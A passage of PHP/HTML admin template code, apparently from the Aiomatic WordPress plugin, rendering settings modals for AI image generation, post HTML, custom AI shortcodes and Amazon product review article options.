Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="ai_command_image" id="ai_command_image3" placeholder="Please insert a command for the AI image generator" class="valuesai3 cr_width_full">A high detail image with no text of: "%%post_title%%"</textarea> </td> </tr> <tr class="hideDalle3 cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model3" name="image_model" class="valuesai3 cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg3 cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model3" name="image_size" class="valuesai3 cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_prepend" id="post_prepend3" placeholder="HTML content to prepend to the AI generated content" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="post_append" id="post_append3" placeholder="HTML content to append to the AI generated content" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="custom_shortcodes" id="custom_shortcodes3" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title3" name="strip_title" class="valuesai3"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin3" name="skip_spin" class="valuesai3"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate3" name="skip_translate" class="valuesai3"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex" id="strip_by_regex3" placeholder="regex expression" class="valuesai3 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex" id="replace_regex3" placeholder="regex replacement" class="valuesai3 cr_width_full"></textarea> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok3" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> <div id="mymodalfzr4" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close4" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Amazon Product Review", 'aiomatic-automatic-ai-content-writer');?></span> <?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="assistant_id4" name="assistant_id" class="valuesai4 cr_width_full" onchange="assistantSelected('4');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value="" selected'; echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Amazon Search Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Insert your Amazon Associate ID (Optional). Learn how to get one <a href='%s' target='_blank'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html', 'https://affiliate-program.amazon.com/assoc_credentials/home'); ?> </div> </div> <b><?php echo esc_html__("Amazon Associate ID (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="affiliate_id" id="affiliate_id4" value="" placeholder="Please insert your Amazon Affiliate ID" class="valuesai4 cr_width_full"> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the country where you have registred your affiliate account.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Amazon Target Country:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="source4" name="target_country" class="valuesai4"> <?php $amaz_countries = aiomatic_get_amazon_codes(); foreach ($amaz_countries as $key => $value) { echo '<option value="' . esc_html($key) . '">' . esc_html($value) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("AI Writer Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a list of post sections, one per line. These will be headings of the content. These can also be automatically generated by the plugin. To enable auto generating of sections, leave this field blank. This will set the value of the %%sections%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you set a section list here, each created article will have this same list of sections, because of this, use shortcodes or Spintax when defining these static topics or leave this field blank for the plugin to auto generate them!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Sections List (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="post_sections_list" id="post_sections_list4" placeholder="Post sections list (one per line)" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of sections to create in the article. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%sections_count%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Content Sections To Generate:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="section_count4" name="section_count" placeholder="3-4" class="valuesai4 cr_width_full" value="3-4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select what you want to do with product titles in articles.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Headings To Content As:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="valuesai4 cr_width_full" id="sections_role4" name="sections_role"> <option value="h2" selected><?php echo esc_html__("h2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="h3"><?php echo esc_html__("h3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="b"><?php echo esc_html__("Bold", 'aiomatic-automatic-ai-content-writer');?></option> <option value="i"><?php echo esc_html__("Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="bi"><?php echo esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="p"><?php echo esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer');?></option> <option value="x"><?php echo esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="no"><?php echo esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Paragraphs Per Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="text" id="paragraph_count4" name="paragraph_count" placeholder="2-3" class="valuesai4 cr_width_full" value="2"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add the product image to the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Product Images To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_images4" name="topic_images" class="valuesai4" checked> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you don't want to add the product links directly to headings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Add Product Links to Headings:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_headlink4" name="no_headlink" class="valuesai4"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you would like to add a relevant YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add A Relevant YouTube Video To The Article:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="topic_videos4" name="topic_videos" class="valuesai4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_outro" id="title_outro4" value="{Experience the Difference|Unlock Your Potential|Elevate Your Lifestyle|Embrace a New Era|Seize the Opportunity|Discover the Power|Transform Your World|Unleash Your True Potential|Embody Excellence|Achieve New Heights|Experience Innovation|Ignite Your Passion|Reveal the Extraordinary}" placeholder="Optional" class="valuesai4 cr_width_full"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Table Of Contents':", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="checkbox" id="enable_toc4" name="enable_toc" class="valuesai4"> </td> </tr> <tr> <td class="hideTOC-1"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Table Of Contents' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="hideTOC-1"> <input type="text" name="title_toc" id="title_toc4" value="Table of Contents" placeholder="Table of Contents" class="valuesai4 cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Customer Reviews Analysis section to the created post. To enable Customer Reviews Analysis for articles, be sure to add a prompt also in the 'Article Customer Reviews Analysis Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Customer Reviews Analysis' Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_reviews4" name="enable_reviews" class="valuesai4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Customer Reviews Analysis section header. Default is: Customer Reviews Analysis", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Customer Reviews Analysis' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_reviews" id="title_reviews4" value="Customer Reviews Analysis" placeholder="Customer Reviews Analysis" class="valuesai4 cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Pros & Cons section to the created post. To enable Pros & Cons for articles, be sure to add a prompt also in the 'Article Pros & Cons Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Pros & Cons' Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_proscons4" name="enable_proscons" class="valuesai4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Pros & Cons section header. Default is: Pros & Cons", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Pros & Cons' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_proscons" id="title_proscons4" value="Pros & Cons" placeholder="Pros & Cons" class="valuesai4 cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Article 'Q&A' Section:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_qa4" name="enable_qa" class="valuesai4"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article 'Q&A' Section Header Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="title_qa" id="title_qa4" value="Q&A" placeholder="Q&A" class="valuesai4 cr_width_full"> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Content Parameters", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Language:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="content_language4" name="content_language" type="text" list="languages5" placeholder="Created content language" class="valuesai4 coderevolution_gutenberg_input" value="English"/> <datalist id="languages5"> <?php foreach($aiomatic_language_names as $ln) { echo '<option>' . $ln . '</option>'; } ?> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Style:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_style4" name="writing_style" type="text" placeholder="Created content writing style" list="writing_styles5" class="valuesai4 coderevolution_gutenberg_input" value="Creative"/> <datalist id="writing_styles5"> <option>Informative</option> <option>Academic</option> <option>Descriptive</option> <option>Detailed</option> <option>Dramative</option> <option>Fiction</option> <option>Expository</option> <option>Historical</option> <option>Dialogue</option> <option>Creative</option> <option>Critical</option> <option>Narrative</option> <option>Persuasive</option> <option>Reflective</option> <option>Argumentative</option> <option>Analytical</option> <option>Blog</option> <option>News</option> <option>Casual</option> <option>Pastoral</option> <option>Personal</option> <option>Poetic</option> <option>Satirical</option> <option>Sensory</option> <option>Articulate</option> <option>Monologue</option> <option>Colloquial</option> <option>Comparative</option> <option>Concise</option> <option>Biographical</option> <option>Anecdotal</option> <option>Evaluative</option> <option>Letter</option> <option>Lyrical</option> <option>Simple</option> <option>Vivid</option> <option>Journalistic</option> <option>Technical</option> <option>Direct</option> <option>Emotional</option> <option>Metaphorical</option> <option>Objective</option> <option>Rhetorical</option> <option>Theoretical</option> <option>Business</option> <option>Report</option> <option>Research</option> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Writing Tone:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="writing_tone4" name="writing_tone" type="text" list="writing_tones5" placeholder="Created content writing tone" class="valuesai4 coderevolution_gutenberg_input" value="Neutral"/> <datalist id="writing_tones5"> <option>Neutral</option> <option>Formal</option> <option>Assertive</option> <option>Cheerful</option> <option>Humorous</option> <option>Informal</option> <option>Inspirational</option> <option>Professional</option> <option>Emotional</option> <option>Persuasive</option> <option>Supportive</option> <option>Sarcastic</option> <option>Condescending</option> <option>Skeptical</option> <option>Narrative</option> <option>Journalistic</option> <option>Conversational</option> <option>Factual</option> <option>Friendly</option> <option>Polite</option> <option>Scientific</option> <option>Sensitive</option> <option>Sincere</option> <option>Curious</option> <option>Dissapointed</option> <option>Encouraging</option> <option>Optimistic</option> <option>Surprised</option> <option>Worried</option> <option>Confident</option> <option>Authoritative</option> <option>Nostalgic</option> <option>Sympathetic</option> <option>Suspenseful</option> <option>Romantic</option> <option>Serious</option> </datalist> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the point of view of the article.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Point Of View:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="point_of_view4" name="valuesai4 point_of_view"> <option value="First Person Singular (I, me, my, mine)"><?php echo esc_html__("First Person Singular (I, me, my, mine)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="First Person Plural (we, us, our, ours)" selected><?php echo esc_html__("First Person Plural (we, us, our, ours)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Second Person Singular (you, your, yours)"><?php echo esc_html__("Second Person Singular (you, your, yours)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Second Person Plural (you [plural], y'all, you guys)"><?php echo esc_html__("Second Person Plural (you [plural], y'all, you guys)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Third Person Singular (he, she, it)"><?php echo esc_html__("Third Person Singular (he, she, it)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="Third Person Plural (they, them, theirs, themselves)"><?php echo esc_html__("Third Person Plural (they, them, theirs, themselves)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Prompts", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, 